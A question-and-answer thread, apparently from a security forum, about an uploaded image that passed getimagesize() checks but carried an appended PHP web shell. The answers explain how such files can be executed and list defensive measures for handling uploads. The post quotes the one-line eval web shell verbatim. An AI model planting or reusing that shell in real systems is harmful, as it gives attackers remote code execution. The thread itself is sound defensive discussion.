1

I have a site which allows users to upload images. One uploaded file was recently detected by antivirus software (uploads aren't scanned, this was a system wide scan after)

Upon upload, I check the file extension, the MIME type and also use getimagesize() which returns false if it's not a valid image.

However, it does appear to be a valid image. It loads on the website and on Windows. However, at the end of the file it contains the following

<?php @eval($_POST['q']); ?>

Uploaded images are moved to a publicly accessible folder (with directory indexing disabled) and linked from there (the image is displayed on the page using the HTML <img /> element with a direct link to the image file.

Should I be worried about this? My thinking is that it doesn't matter because I'm not including the file within PHP code, and I'm just serving it directly through nginx, but it does make me feel a bit uneasy. Can I even do anything to prevent this, other than configuring ClamAV or similar to scan uploads? I thought utilising getimagesize() was an accepted solution for verifying a file is an image as I've seen it referenced a few times on here, but in this scenario it didn't detect PHP within the file.

2 Answers 2

2

Yes, you should be worried. Depending on how exactly the web server is configured, an attacker may be able to trick it into executing code embedded in images, e.g., with a PATH_INFO attack or with a double extension like .png.php. Another possible attack vector is a Local File Inclusion Attack where the code is executed through another (vulnerable) script. Even if you've completely disabled server-side script execution for the upload directory, you still have to worry about attacks against clients.

As to preventing attacks: Files which have the structure of an image can still contain malicious code, so checking the format doesn't help much. Code may be embedded in textual metadata (like tEXt chunks in the PNG format) or directly in the image data. By the way, the PHP documentation explicitly says that getimagesize() shouldn't be used to check if a file is a valid image.

Accepting file uploads is inherently risky and requires multiple layers of protection. Note that you have to consider both attacks against the server (as shown in your example) and attacks against clients (e.g., cross-site scripting with embedded JavaScript code).

  • First off, you absolutely should not put uploaded files in a publicly accessible folder. Move the files to a directory outside of the document root. Even better, store them in a container/VM or a database, because this makes it a lot harder for attackers to reference the files directly. If you store the images in the filesystem, then generate the filename randomly and choose the file extension from a whitelist of valid extensions (don't accept the user-provided filename or extension). For example, you may choose .png, .jpg or .gif based on the results of finfo_file. Note that .svg can contain scripts by design and should therefore not be allowed.
  • Create a script to serve the uploaded files. This script has to explicitly set the Content-Type header to an image type and the X-Content-Type-Options header to nosniff to avoid any MIME sniffing attacks.
  • Ideally, put the script on a completely separate domain (not a subdomain), so that the Same-Origin Policy isolates the uploaded files from the main application.
  • Use Content Security Policy to disable execution of client-side scripts. Set a Content-Security-Policy: sandbox; header, for example.
0

This may not address your concern completely, but nonetheless: it is normal to do some processing on uploaded images to harmonize them (if for example you accept several file formats such as jpg png etc), resize them, possibly add watermarks on them. This is common practice for user avatars, because we want them to fit nicely in our website layout.

Many websites will also strip EXIF data (which could contain geolocation information) for privacy reasons. In fact, I would say that most mainstream sites nowadays perform at least one those operations, and do not blindly accept pictures in their original form.

If you're using PHP you can use the plain old GD functions or ImageMagick - merely converting the images using these tools might very well drop the garbage. Or it could cause parsing errors, making the upload fail. That is something I definitely would want to test.

Unless you've messed badly with your Nginx configuration or the MIME types, that attack shouldn't be readily exploitable.

There have been flaws in tools like ImageMagick, so in theory you could be exposed to yet unknown vulnerabilities like buffer overflows and the like. To mitigate this you could run the sanitization script in a container (eg Docker) or at least use a Linux namespace so that the file system on the server is not exposed. You just need a temporary volume. Tools like Firejail make it even easier.

And you can still use ClamAV. In fact, I would definitely collect the intercepted files to see what attackers are up to, and use that material for testing.

1
  • Trying to "sanitize" images is an extremely fragile approach and will only lead to an arms race with attackers who come up with more and more creative ways of circumventing the "sanitization" heuristics. At best, this would be a bonus feature to address privacy issues (as you've pointed out) and maybe stop a few simple attacks.
    – Ja1024
    Commented May 9 at 3:22

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .